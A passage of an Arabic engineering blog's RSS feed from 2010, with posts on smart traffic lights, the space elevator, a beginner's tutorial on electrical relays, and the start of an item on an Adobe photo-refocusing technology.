<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2697&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D8%A7%D9%84%D8%AA%D9%86%D8%B5%D8%AA%20%D8%B9%D9%84%D9%89%20%D8%A3%D8%A8%D8%B1%D8%A7%D8%AC%20%D9%85%D8%B1%D8%A7%D9%82%D8%A8%D8%A9%20%D8%A7%D9%84%D8%B7%D8%A7%D8%A6%D8%B1%D8%A7%D8%AA%21" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2697&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D8%A7%D9%84%D8%AA%D9%86%D8%B5%D8%AA%20%D8%B9%D9%84%D9%89%20%D8%A3%D8%A8%D8%B1%D8%A7%D8%AC%20%D9%85%D8%B1%D8%A7%D9%82%D8%A8%D8%A9%20%D8%A7%D9%84%D8%B7%D8%A7%D8%A6%D8%B1%D8%A7%D8%AA%21" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2697&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D8%A7%D9%84%D8%AA%D9%86%D8%B5%D8%AA%20%D8%B9%D9%84%D9%89%20%D8%A3%D8%A8%D8%B1%D8%A7%D8%AC%20%D9%85%D8%B1%D8%A7%D9%82%D8%A8%D8%A9%20%D8%A7%D9%84%D8%B7%D8%A7%D8%A6%D8%B1%D8%A7%D8%AA%21" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2697&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D8%A7%D9%84%D8%AA%D9%86%D8%B5%D8%AA%20%D8%B9%D9%84%D9%89%20%D8%A3%D8%A8%D8%B1%D8%A7%D8%AC%20%D9%85%D8%B1%D8%A7%D9%82%D8%A8%D8%A9%20%D8%A7%D9%84%D8%B7%D8%A7%D8%A6%D8%B1%D8%A7%D8%AA%21" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2697&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D8%A7%D9%84%D8%AA%D9%86%D8%B5%D8%AA%20%D8%B9%D9%84%D9%89%20%D8%A3%D8%A8%D8%B1%D8%A7%D8%AC%20%D9%85%D8%B1%D8%A7%D9%82%D8%A8%D8%A9%20%D8%A7%D9%84%D8%B7%D8%A7%D8%A6%D8%B1%D8%A7%D8%AA%21" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2697/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>اشارات مرور لكن بتقنيات مختلفة !</title>
		<link>http://www.handsah.net/archives/2689</link>
		<comments>http://www.handsah.net/archives/2689#comments</comments>
		<pubDate>Sun, 03 Oct 2010 11:46:10 +0000</pubDate>
		<dc:creator>Mohammed Elshamy</dc:creator>
				<category><![CDATA[كيف تعمل الأشياء]]></category>
		<category><![CDATA[منوعات]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2689</guid>
		<description><![CDATA[?هل تخيلتم من قبل ان يتم اختارع اشارت مرور ذكية صممت هذه الإشارات لسلامة الناس [...]]]></description>
			<content:encoded><![CDATA[<p>?هل تخيلتم من قبل ان يتم اختارع اشارت مرور ذكية</p>
<p>صممت هذه الإشارات لسلامة الناس حيث تتكون من شاشة عرض صغيرة لتعرض تغير لون  الإشارة تدريجيا من الأحمر للاخضر وتضاؤل الأصفر اثناء التغيير<br />
وتم دمج الواح  شمسية وكاميرات مراقبة لاسباب واضحة وتعمل تلقائياً بالتزامن مع أضواء  المشاة</p>
<p>ميزيتان تجعلان هذا الإختراع افضل من الإختراعات الاخري مثل  سيارة الإنقاذ والإسعاف والشرطة والمطافئ</p>
<p>وهما ان بإمكانه إلتقاط أشعة  عن بعد من خلال اجهزة استشعار ذكية وبالتالي تمكن المشاة من العبور بسبب ان الإشارة  تغيرت تلقائياً</p>
<p>والأخري هي انها تعرض معلومات مثل حالتي الطريق والطقس  واشياء اخري لمن ينتظر امام الإشارة</p>
<p><a href="http://www.youtube.com/watch?v=96Q9bgOeISU&amp;feature=player_embedded">watch?v=96Q9bgOeISU&amp;feature=player_embedded</a></p>
<p><img class="alignnone" src="http://www.yankodesign.com/images/design_news/2010/09/21/control_safety2.jpg" alt="" width="605" height="807" /><img class="alignnone" src="http://www.yankodesign.com/images/design_news/2010/09/21/control_safety3.jpg" alt="" width="605" height="390" /><img class="alignnone" src="http://www.yankodesign.com/images/design_news/2010/09/21/control_safety4.jpg" alt="" width="605" height="423" /><img class="alignnone" src="http://www.yankodesign.com/images/design_news/2010/09/21/control_safety.jpg" alt="" width="605" height="689" /></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2689&amp;linkname=%D8%A7%D8%B4%D8%A7%D8%B1%D8%A7%D8%AA%20%D9%85%D8%B1%D9%88%D8%B1%20%D9%84%D9%83%D9%86%20%D8%A8%D8%AA%D9%82%D9%86%D9%8A%D8%A7%D8%AA%20%D9%85%D8%AE%D8%AA%D9%84%D9%81%D8%A9%20%21" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2689&amp;linkname=%D8%A7%D8%B4%D8%A7%D8%B1%D8%A7%D8%AA%20%D9%85%D8%B1%D9%88%D8%B1%20%D9%84%D9%83%D9%86%20%D8%A8%D8%AA%D9%82%D9%86%D9%8A%D8%A7%D8%AA%20%D9%85%D8%AE%D8%AA%D9%84%D9%81%D8%A9%20%21" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2689&amp;linkname=%D8%A7%D8%B4%D8%A7%D8%B1%D8%A7%D8%AA%20%D9%85%D8%B1%D9%88%D8%B1%20%D9%84%D9%83%D9%86%20%D8%A8%D8%AA%D9%82%D9%86%D9%8A%D8%A7%D8%AA%20%D9%85%D8%AE%D8%AA%D9%84%D9%81%D8%A9%20%21" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2689&amp;linkname=%D8%A7%D8%B4%D8%A7%D8%B1%D8%A7%D8%AA%20%D9%85%D8%B1%D9%88%D8%B1%20%D9%84%D9%83%D9%86%20%D8%A8%D8%AA%D9%82%D9%86%D9%8A%D8%A7%D8%AA%20%D9%85%D8%AE%D8%AA%D9%84%D9%81%D8%A9%20%21" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2689&amp;linkname=%D8%A7%D8%B4%D8%A7%D8%B1%D8%A7%D8%AA%20%D9%85%D8%B1%D9%88%D8%B1%20%D9%84%D9%83%D9%86%20%D8%A8%D8%AA%D9%82%D9%86%D9%8A%D8%A7%D8%AA%20%D9%85%D8%AE%D8%AA%D9%84%D9%81%D8%A9%20%21" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2689/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>مصعد الفضاء</title>
		<link>http://www.handsah.net/archives/2682</link>
		<comments>http://www.handsah.net/archives/2682#comments</comments>
		<pubDate>Sat, 02 Oct 2010 11:35:28 +0000</pubDate>
		<dc:creator>سماح داوود</dc:creator>
				<category><![CDATA[أبحاث]]></category>
		<category><![CDATA[الفضاء]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2682</guid>
		<description><![CDATA[مصعد الفضاء هو عبارة عن هيكل مصمم لنقل المعدات من سطح جسم طائر الى الفضاء. [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: 'Times New Roman'; font-size: large;"><a href="http://www.handsah.net/wp-content/uploads/2010/10/Space_elevator2.jpeg"><img class="alignright size-medium wp-image-2684" title="Space_elevator2" src="http://www.handsah.net/wp-content/uploads/2010/10/Space_elevator2-300x235.jpg" alt="" width="300" height="235" /></a>مصعد الفضاء هو عبارة عن هيكل مصمم لنقل المعدات من سطح جسم طائر الى الفضاء. تم اقتراح العديد من البدائل التي تعتمد على استخدام هيكل ثابت بدلا من صاروخ الاطلاق ، حيث ما يتم اعتماده عادة هو هيكل يمكنه الاقتراب من سطح الارض او خط الاستواء عبر المدار الجغرافي المتزامن ليوصله بالجسم الطائر المقابل.</span></p>
<p><span style="font-family: 'Times New Roman'; font-size: medium;">تعود بداية مصعد الفضاء الى عام 1895 حين اقترح قسطنطين تسيولكوفسكي بناء  برج هوائي يوصل ما بين سطح الارض والمدار الجغرافي المتزامن والذي سمي ب (تسيولكوفسكي) تيمنا به.ركزت جميع الدراسات الحديثة حول الهياكل المزودة بروابط للشد ( خاصة حبال الشد المتينة) والتي تمتد ما بين المدار الجغرافي الى الارض، حيث أن الهدف من هذه الروابط هو الوصل ما بين الارض والجسم الطائر في الفضاء كما هو الحال في اوتار الجيتار المثبتة بقوة.  اطلق على مصعد الفضاء العديد من المسميات منها : عيدان الفاصوليا والجسور الفضائية  والمصاعد الفضائية و السلالم الفضائية و الصنارة الفضائية  وأبراج المدارية أو المصاعد المدارية. </span></p>
<p><span style="font-family: 'Times New Roman'; font-size: medium;">تعجز التقنيات الحديثة عن تصنيع ادوات هدنسية عملية تجمع ما بين صفتي القوة والخفة الللازمتين لبناء مصعد فضاء. فمعظم الابحاث الحالية تسعى نحو استخدام انابيب الكربون او البورون  المجهرية ( نايتريد) والتي تمتلك عنصر الشد الاساسي الواجب توفره في الحبل المستخدم.  من جهة أخرى فقد تم استخدام المصاعد الفضائية في عام 1978 في المناطق ذات الجاذبية الاضعف في النظام الشمسي مثل القمر والمريخ</span><span style="font-family: Arial; font-size: small;">.</span></p>
<p><span style="font-family: Arial; font-size: small;"><br />
</span></p>
<p><span style="font-family: Arial; font-size: small;"><a href="http://ar.wikipedia.org/wiki/%D9%85%D8%B5%D8%B9%D8%AF_%D8%A7%D9%84%D9%81%D8%B6%D8%A7%D8%A1"><img class="alignright size-full wp-image-2683" title="wiki" src="http://www.handsah.net/wp-content/uploads/2010/10/wiki.png" alt="" width="320" height="85" /></a></span></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2682&amp;linkname=%D9%85%D8%B5%D8%B9%D8%AF%20%D8%A7%D9%84%D9%81%D8%B6%D8%A7%D8%A1" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2682&amp;linkname=%D9%85%D8%B5%D8%B9%D8%AF%20%D8%A7%D9%84%D9%81%D8%B6%D8%A7%D8%A1" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2682&amp;linkname=%D9%85%D8%B5%D8%B9%D8%AF%20%D8%A7%D9%84%D9%81%D8%B6%D8%A7%D8%A1" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2682&amp;linkname=%D9%85%D8%B5%D8%B9%D8%AF%20%D8%A7%D9%84%D9%81%D8%B6%D8%A7%D8%A1" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2682&amp;linkname=%D9%85%D8%B5%D8%B9%D8%AF%20%D8%A7%D9%84%D9%81%D8%B6%D8%A7%D8%A1" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2682/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>المرحِل..الريلاي</title>
		<link>http://www.handsah.net/archives/2659</link>
		<comments>http://www.handsah.net/archives/2659#comments</comments>
		<pubDate>Thu, 30 Sep 2010 18:31:22 +0000</pubDate>
		<dc:creator>وسيم الخاير</dc:creator>
				<category><![CDATA[أبحاث]]></category>
		<category><![CDATA[الأقسام الهندسية]]></category>
		<category><![CDATA[المكتبة الهندسية]]></category>
		<category><![CDATA[الهندسة]]></category>
		<category><![CDATA[الهندسة الإلكترونية]]></category>
		<category><![CDATA[الهندسة الكهربائية]]></category>
		<category><![CDATA[فيديو]]></category>
		<category><![CDATA[الريلاي]]></category>
		<category><![CDATA[المرحل]]></category>
		<category><![CDATA[دارة الريلاي]]></category>
		<category><![CDATA[كيف يعمل الريلاي]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2659</guid>
		<description><![CDATA[لازلنا في معرض الحديث عن العناصر الإلكترونية التي يستخدمها المصممون والهواة في داراتهم الإلكترونية، فكنا [...]]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-2666" href="http://www.handsah.net/archives/2659/relay-22-2"><img class="aligncenter size-medium wp-image-2666" title="Relay-22" src="http://www.handsah.net/wp-content/uploads/2010/09/Relay-221-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>لازلنا في معرض الحديث عن العناصر الإلكترونية التي يستخدمها المصممون والهواة في داراتهم الإلكترونية، فكنا قد ناقشنا <a href="http://muslimlead.com/?p=1226" target="_blank">الدايود</a>، <a href="http://muslimlead.com/?p=1920" target="_blank">الثنائي المشع للضوء</a>، <a href="http://muslimlead.com/?p=1306" target="_blank">المكثف</a>، <a href="http://muslimlead.com/?p=1547" target="_blank">الملف</a>، <a href="http://muslimlead.com/?p=1844" target="_blank">الترانزستور</a></p>
<p>ونكمل اليوم هذه السلسلة بعنصر جديد هو المرحِل، أو مايطلق عليه <strong>الريلاي</strong>.</p>
<p>فما هو ذلك العنصر؟ وكيف يمكن استخدامه؟ وماهي تطبيقاته؟ إيجابياته؟ سلبياته؟</p>
<p>تعالوا نخوض أسرار المرحِل ونتعرف عليه.<img src="http://muslimlead.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
<p>لنشاهد هذا الفيديو الذي يحتوي شرحا مبسطا عن المرحِل &#8220;الريلاي&#8221; :</p>
<p><object width="500" height="400"><param name="movie" value="http://www.youtube.com/e/LIyH8k5sfLg"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/e/LIyH8k5sfLg" type="application/x-shockwave-flash" width="500" height="400" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong>مم يتكون؟</strong></p>
<p>الريلاي هو عنصر ميكانيكي/إلكتروني، ويمكننا تخيله على شكل مفتاح أو زر كهربائي، داخلياً يتكون من جزئين رئيسيين: الأول: سلك ملفوف حول قالب حديدي، وفي مقدمة ذلك القالب يتوضع الجزء الثاني: وهو لسان أو قطعة معدنية مستطيلة الشكل تقع أمام القالب/الملف وهي بمثابة المفتاح فهي تحتوي على تماسات معدنية يتم من خلالها توصيل حمل كهربائي ليعمل الريلاي على فصله أو تشغيله بحسب وضع الملف في الريلاي.</p>
<p><strong>ماهو الرمز الإلكتروني للريلاي في الدارات الإلكترونية؟</strong></p>
<p>يرمز للريلاي بالشكل التالي: حيث الجزء الأيسر هو الملف والأيمن هو رمز المفتاح الكهربائي</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/09/relay3.png"><img src="http://muslimlead.com/wp-content/uploads/2010/09/relay3.png" alt="" width="200" height="282" /></a></p>
<p><strong>وهل من صورة حقيقية لتركيبه الداخلي؟</strong></p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/09/Relay21.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/09/Relay21.jpg" alt="" width="200" height="260" /></a></p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/09/relay.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/09/relay.jpg" alt="" width="548" height="555" /></a></p>
<p><strong>كيف يعمل؟</strong></p>
<p>عندما يتم تطبيق فرق جهد على طرفي الملف الداخلي للريلاي، سيمر تيار  في الملف ليتحول بواسطته الملف لمغناطيس كهربائي مولدا مجالا مغناطيسيا سيقوم بدوره بجذب ذلك اللسان أو القطعة المواجهة للملف بحيث تغلق التماسات  الكهربائية، وعند فصل الجهد المطبق سيتلاشى التيار تدريجيا ليختفي ذلك المجال المغناطيسي، وهناك زنبرك سيقوم بإعادة اللسان لوضعه الطبيعي وفصل التماسات وفتح المفتاح الذي أغلق.</p>
<p>انظروا الشكل التالي كي يتضح الشرح:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/09/relay4.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/09/relay4.jpg" alt="" width="359" height="264" /></a></p>
<p>إذا بكل بساطة فالريلاي هو مفتاح كهربائي ميكانيكي، ما إن يتم تطبيق جهد على ملفه، يبدأ بالعمل ليجذب تماسات معدنية ستعمل على غلق أو فتح دارة خارجية متصلة بها.</p>
<p>ومافائدته إذا؟ ألا يمكننا استخدام مفتاح كهربائي مباشرة؟ لم لا نختصر الطريق؟</p>
<p>تخيلوا معي أننا قمنا بتصميم دارة إلكترونية بها معالج دقيق يعمل على فرق جهد مستمر مثل: 3.3 فولت، ولدينا حمل كهربائي أو دارة خرج هي مصباح كهربائي أو لمبة مثلا تعمل على فرق جهد متردد قيمته 110 فولت. منطقيا، لا يمكننا تشغيل ذلك الحمل من خلال دارتنا البسيطة فهي غير مؤهلة لقيادة تلك اللمبة، وهنا يأتي دور الريلاي فهو سيقوم بعملية قيادة لأي حمل ذو حجم كبير من خلال فرق جهد صغير، والسر يمكن وراء تشغيل الملف بجهد صغير مثل 3.3فولت لنقوم بتشغيل المصباح الذي سيتم توصيله على أطراف التماسات التي سيجذبها الملف داخل الريلاي. إذا للريلاي فائدة عظيمة كونه سيعمل على ترحيل جهد وتيار صغير لقيادة حمل كبير. وأيضا ميزة الريلاي تكمن في قدرته على العزل التام ما بين دارة المصدر والحمل &#8220;الخرج&#8221;، فهما معزولان تماما ولكل واحد منهما نقطة أرضية مرجعية مختلفة عن الأخرى، وهذا له فائدة كبيرة في منع انتقال التشويش والجهود العابرة لدارتنا وبمعنى أصح حمايتها. أخيرا، يمكن استخدام الريلاي في التحكم عن بعد، أي وضع الريلاي بالقرب من الجهاز ومد سلك للدراة التي تصدر الأوامر.</p>
<p><strong>أنواع الريلاي:</strong></p>
<p>كما اتفقنا فإن الريلاي هو بمثابة المفتاح، والمفاتيح الكهربائية لها أنواع متعددة تعتمد على عدد أقطابها وتحويلاتها. المقصود بالقطب هو المفتاح ، والتحويلة هي وضعية المفتاح هل هو مغلق أم مفتوح في الحالة الطبيعية</p>
<p>بناء على ذلك هناك الأنواع التالية من الريلاي:</p>
<p>1. أحادي القطب أحادي التحويلة</p>
<p>2. ثنائي القطب أحادي التحويلة</p>
<p>3. أحادي القطب ثنائي التحويلة</p>
<p>ولكم أن تتخيلو الاحتمالات العديدة التي يمكن بناؤها، انظروا الشكل التالي:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/09/poles.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/09/poles.jpg" alt="" width="362" height="295" /></a></p>
<p><strong>. عيوبه:</strong></p>
<p>لكل عنصر إلكتروني فوائد وسلبيات ، وكذلك الأمر بالنسبة للريلاي، فأهم سلبياته هي:</p>
<p>1. بما أنه يعتمد على الملف -وهو حثي- فلذلك ستتولد فيه قوة دافعة كهربائية عكسية عند مرور تيار به ( تعرف بقاعدة لنز ) عند التوصيل وعند الفصل مما قد يؤدي لعطب الدارة المتصلة به. إلا أنه يمكننا تجاوز هذه المشكلة البسيطة بواسطة وضع عنصر الدايود بين طرفي الملف وذلك لمنع عودة تلك القوة الدافعة العكسية.</p>
<p>2. حدوث ارتدادات  ميكانيكية عند كل تحويل من وضع الفصل الى وضع التوصيل أو العكس . مما قد يؤدي لعطب الحمل</p>
<p>3. يحتاج إلى دائرة موائمة لكى يعمل جيدا مع الأنظمة الإلكترونية . وعادة تكون هذه الدارة هي مكونة من ترانزستور</p>
<p>4. يوجد ربط سعوى بين التلامسات . مما قد يؤثر سلبا على نوعية الإشارة التي يتم إيصالها للحمل أي أنه ستقل نسبة العزل بين التلامسات</p>
<p>5. العمر الافتراضى للريلاي صغير نسبيا خصوصا فى الدوائر التى تتطلب عددا كبيرا من مرات الوصل والفصل . وعادة ما تذكر قيمة عدد مرات الفصل والوصل القصوى لكل ريلاي في ملف المواصفات الفنية</p>
<p><strong> دارة عملية لاستخدام الريلاي مع الدارت الإلكترونية</strong></p>
<p>عند اختيار أي ريلاي فلابد من الانتباه للأمور التالية كي نتمكن من الاختيار العلمي الصحيح ومعرفة البدائل التي يمكن استخدامها في حالة عدم توفر الريلاي المناسب</p>
<p>1. فرق الجهد اللازم لتشغيل الملف الداخلي للريلاي: فمثلا لو كان لدينا دارة تعمل على فرق جهد 5 فولت  فيجب اختيار ريلاي له فرق جهد لملفه هو 5 فولت، وفي حالة تعذر ذلك يمكننا استخدام جهد أكبر بعد استخدام دارة مواءمة سبق أن طرحتها في<a href="http://muslimlead.com/?p=1844" target="_blank"> تدوينة الترانزستور</a>.</p>
<p>2. أقصى تيار لازم لتشغيل ملف الريلاي: وغالبا هذه القيمة لا تعطى بشكل واضح بل يتم ذكر مقاومة الملف بدلا منها، ومن خلال قسمة فرق جهد الملف على مقاومته يتم حساب التيار الأعظم. وهي قيمة مهمة جدا كي نعرف هل يمكننا تشغيل ووصل الريلاي بدارتنا مباشرة أو لابد من وضع دارة مواءمة</p>
<p>3.   جهد وتيار مرحلة الخرج أو التماسات، وهنا يجب معرفة ما يحتاجه الحمل ومقارنته بالريلاي وينبغي دائما أن يتم اختيار قيمة تيار عظمى تزيد عن  القيمة المطلوبة بنسبة 5 إلى 10 %</p>
<p>4. العمر الافتراضي لتماسات الريلاي وعادة ما تعطى بملايين المرات</p>
<p>ننتقل الآن للدارة العملية:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/09/relay-circuit.gif"><img src="http://muslimlead.com/wp-content/uploads/2010/09/relay-circuit.gif" alt="" width="372" height="314" /></a></p>
<p>هذا كان باختصار شديد الريلاي العجيب، وهنا لا أنسى أن أذكركم أنه يشبه لحد كبير آلة البرق البدائية التي اخترعها مورس فكلاهما يحملان نفس المكونات.</p>
<p>المصادر:</p>
<p><a href="http://pal-islam.mam9.com/montada-f33/topic-t2481.htm" target="_blank">1. بحث مبسط عن الريلاي</a></p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/09/4-Relay-%D8%A7%D9%84%D8%B1%D9%8A%D9%84%D8%A7%D9%89.pdf">2. ملف مميز عن الريلاي</a></p>
<p><a href="http://www.kpsec.freeuk.com/components/relay.htm" target="_blank">3. شرح بسيط بالإنجليزية</a></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2659&amp;linkname=%D8%A7%D9%84%D9%85%D8%B1%D8%AD%D9%90%D9%84..%D8%A7%D9%84%D8%B1%D9%8A%D9%84%D8%A7%D9%8A" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2659&amp;linkname=%D8%A7%D9%84%D9%85%D8%B1%D8%AD%D9%90%D9%84..%D8%A7%D9%84%D8%B1%D9%8A%D9%84%D8%A7%D9%8A" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2659&amp;linkname=%D8%A7%D9%84%D9%85%D8%B1%D8%AD%D9%90%D9%84..%D8%A7%D9%84%D8%B1%D9%8A%D9%84%D8%A7%D9%8A" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2659&amp;linkname=%D8%A7%D9%84%D9%85%D8%B1%D8%AD%D9%90%D9%84..%D8%A7%D9%84%D8%B1%D9%8A%D9%84%D8%A7%D9%8A" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2659&amp;linkname=%D8%A7%D9%84%D9%85%D8%B1%D8%AD%D9%90%D9%84..%D8%A7%D9%84%D8%B1%D9%8A%D9%84%D8%A7%D9%8A" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2659/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>إدوبي عرضت تكنولوجيا تصوير جديدة والتي تمكّن من تغيير مركز البؤرة (Focus) في الصور بعد التصوير</title>
		<link>http://www.handsah.net/archives/2640</link>
		<comments>http://www.handsah.net/archives/2640#comments</comments>
		<pubDate>Sun, 26 Sep 2010 15:53:57 +0000</pubDate>
		<dc:creator>علاء جسار</dc:creator>
				<category><![CDATA[منوعات]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[nVidia]]></category>
		<category><![CDATA[إدوبي]]></category>
		<category><![CDATA[تصوير]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2640</guid>
		<description><![CDATA[اذا شاهدتم مرة مسلسل جاسوسية أو مسلسلاً حول دائرة تحقيق جنائي مثل مسلسل Alias ومسلسل [...]]]></description>
